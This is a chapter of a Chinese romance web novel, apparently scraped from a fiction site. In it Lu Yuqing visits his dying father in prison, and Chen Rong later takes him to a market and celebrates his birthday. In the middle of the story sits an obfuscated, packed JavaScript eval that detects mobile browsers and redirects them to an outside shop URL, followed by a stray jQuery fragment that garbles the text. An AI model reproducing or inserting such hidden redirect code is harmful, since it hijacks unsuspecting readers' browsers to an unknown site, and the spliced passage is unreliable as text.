次日，陆玉卿独自来到陈府正门，马车已在候着。
他弯腰朝内行礼：“大少爷。”
里头没应，陆玉卿走到车前与赶马的小厮并肩坐下，刚落座，车厢内传来声音。
“你进来。”
陆玉卿只得起身钻入车厢，挨着门帘处跪下，离陈皓川很远。
陈皓川好整以暇地将他从头到脚打量了一遍，目光不紧不慢。
“我真是好奇，生得什么模样，能把陈榕迷得放下身段来求我。”
“如今瞧见了，倒也不冤。”
陆玉卿神色一顿，眉峰拢起，“此事与二小姐无关。”
“无关？”陈皓川嗤笑一声，“无关她会火急火燎地跑到我院里来？”
那轻蔑的语调刺得陆玉卿心头锐痛，他不肯松口：“此事的确与二小姐无关，是小的去求的她。”
陈皓川收了笑，一副看穿一切的表情，“出去吧。”
陆玉卿不甘地退出车厢，重新坐回外头。
今日长街的喧嚷皆与他无关，一不留神，马车已停在刑部衙门前的石狮子旁。
他跟在陈皓川身后进了门堂，再往里走，天光渐渐暗了下去。
又过了一道门，门后是一道逼仄的石阶，蜿蜒向下，走到底，眼前出现一条狭长的甬道，两侧牢房相连，铁栏影影绰绰，间或有低低的呻吟声从深处传出。
带路的狱卒手里提了一盏灯，那点光热微弱得可怜，杯水车薪，照不透这满室幽暗。
“陈郎中，便是这间了。”
那狱卒停下，自腰间解下一串钥匙，哗啦啦翻寻了一阵，打开了牢门。
陆玉卿立在原地，纹丝不动。
陈皓川见状，冷冷道：“愣着作甚，不见了？”
陆玉卿倏然惊醒，迈步跨过门槛，那步子沉重，似有千斤。
脚底下铺满了稻草，湿漉漉地腐烂着，浓重的霉腥气扑面而来。
“咳，咳，咳——”
角落里那人倚着湿冷的墙壁，咳嗽声虚弱而断续，察觉到有人进来，他吃力地掀了掀眼皮，这一眼，叫他目瞪口呆。
陆玉卿瞧见，纵然到了这般境地，那人的发丝仍不算凌乱。
喉咙钝痛发涩，腿上也没了力气，他撑不住跪了下去，一点一点爬到了那人身前。
“父亲……”
陆永岚听见这一声，呆愣半晌，终是濡湿了眼眶。
别离数年，他乡得遇。
他艰难地扯了扯嘴角，气若游丝，面上却是一派心满意足。
“够了，够了。”
“我陆某，再无憾。”
陆玉卿想扑过去抱住自己的父亲，可眼前人形容枯槁，脆弱得让他不敢妄动。
陆永岚的骨头早已被牢里的湿气锈住了，他迟缓地伸出手，那手瘦骨嶙峋，攥住了陆玉卿无处安放的掌心。
“卿儿，是爹对不住你。”
“好好活着。”
……
出了刑部，天色阴沉沉的，不知何时落起了雨丝。
回到陈府，与陈皓川分别后，陆玉卿踏进偏门，却一眼望见了雨中立着的那个人。
她撑着伞，往前迎了几步，神色平静如常。
“可见到了？”
陆玉卿僵着脖子点了头，那一刻，他竟怕她再问下去，他没有把握还能撑住自己。
可她什么也没问，只伸出手，将另一把干净的伞递到他眼前。
“回去吧。”
陆玉卿呆呆地接过，她很快转过身去，不再看他。
明明一路迎着冷风回来，满身神经早已麻木，此刻心口却悄然裂开一道缝隙。
秋雨寒凉，只有她会记得。
***
前任吴县知县陆永岚，身负贪墨一案，尚未审结，病重不治，于十五日丑时，殁于狱中。
消息传至西溪院时，陆玉卿反应平淡，陈榕与知秋对此也只字未提。
过了些日子，陈榕挑了个晴好的天，带陆玉卿和知秋出了一趟府，她并无明确去处，只是想带他们出来散散心。
一路上买了许多东西，又为三人都添了几件新衣，她虽不富裕，但这些年该省的地方省着，手头还算宽裕。
闹市人声鼎沸，吵得人耳内嗡嗡作响，陈榕却觉得热闹得正好。
长安城虽大，她没去过的地方却十之八九，想来也是可怜，再一左一右扫了二人一眼，连带着他们也似笼中鸟一般。
往后若有机会，真想与他们一道，来一场游山玩水的远行。
路过一处馄饨摊，陈榕停下。
摊主热络地招呼：“姑娘，来碗馄饨不？我这馄饨卖了三年了，吃过的没有说不好的。”
陈榕笑了笑，“好，来三碗吧。”
“好嘞。”
三人围着一张小桌坐下，馄饨的香气已经飘了过来。
对面楼里传来女子的笑闹声，陈榕循声望去。
摊主端着馄饨过来，顺着她的目光瞥了一眼，笑道：“姑娘别瞧了，那是燕春楼。”
燕春楼，长安城最有名的烟花之地。
摊主又看向陆玉卿，半开玩笑地添了一句：“公子更别瞧了，你娘子还在身边呢。”
陆玉卿一愣，嘴唇动了动，到底没能说出什么，更不敢去看陈榕。
陈榕没什么不自在，倒是知秋先开了口：“老板认错了，这是我家小姐，我与他都是伺候小姐的人。”
摊主“啊”了声，连忙告罪：“眼拙了，眼拙了。”
陈榕道：“无碍。”
她把端来的馄饨分别推给知秋和陆玉卿，“吃吧。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17568239|203040||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
馄饨热气腾腾，入口鲜香，摊主眼神虽不太好，却也没吹嘘。
日子照旧过着，府里渐渐生出了些流言蜚语。
作为陈府里存在感极低，却在舆论中恰恰相反的二小姐，而今这回话题的主人公正是陈榕。
下人们都传，说二小姐在自己院里偷偷藏了个小厮。
甚至有人说，有什么样的主子就有什么样的奴才，西溪院之前那个死掉的丫鬟便是跟着自家小姐学出来的。
小姐与小厮，多么有趣的谈资。
大约在他们眼里，是一个性情不好又不得宠的小姐，出于好色，看上了端庄大气的姐姐院里那个俊美的小厮，使了手段非要到身边来，然后藏在院里任自己施为。
流言愈演愈烈，甚嚣尘上。
陈夫人终于忍不下去，因这议论已开始牵扯到陈玉竹，但凡有损于陈玉竹的苗头，她都不可能任其存活。
想将那小厮赶出府去，却一下子想到陈玉竹声嘶力竭求自己时的模样，陈夫人叹气，罢了。
再次敲打了一番下人，趁着陈玉竹定了亲的时机，陈夫人为她请了几位教习女官，专教礼仪，顺道让陈榕也跟着学。
那几位教习女官都是从宫里出来的，教过娘娘公主们，训导礼仪时极为严苛，一个不慎便要受罚。
自此陈榕有了既定的任务，日日竟忙碌起来。
陈府要让陈玉竹学会将来如何做一位合格的当家主母，而陈榕除了礼仪之外，还得学才艺。
这日，她因舞跳得不好，被教习女官单独留了下来。
天色已晚，陈榕为了早些回去，便一遍又一遍地练那支舞。
最后一遍跳完，她转过身去，却见陆玉卿立在门外，正遥遥望着她，一眼不错地。
见她看过来，陆玉卿即刻垂下眼。
“知秋在做饭……很晚了……天黑了……小的怕小姐有事……小的正好闲着……小的不是故意出来……”
他语无伦次的，陈榕怔了怔，笑了，“等晚了吧。”
她解释道：“近日一位师傅挑了支舞，配了一首曲子，叫《忆相知》，她教了许多遍，可一没了琴音我总是跳错，她说我愚钝不堪，故而罚我去了琴音多练几回。”
“我去找师傅告个假，这便回去。”
路上，一前一后，寂静无话，凉意悄然落上眉梢。
风又起，雪又来，忽尔已至隆冬。
陈榕虽忙，却未忘记今日是陆玉卿的生辰，回到西溪院，她取出前些日子专程抽空去府外为他挑的礼。
是一整套文房用具，笔、架、砚、镇，皆是白玉所制，也算与他的名字相衬，添几分清雅意趣。
永兴二十一年十一月二十二日，陈榕与知秋一道，第一次为陆玉卿庆了生辰。
彼时她十七，他方十九，青春正年少。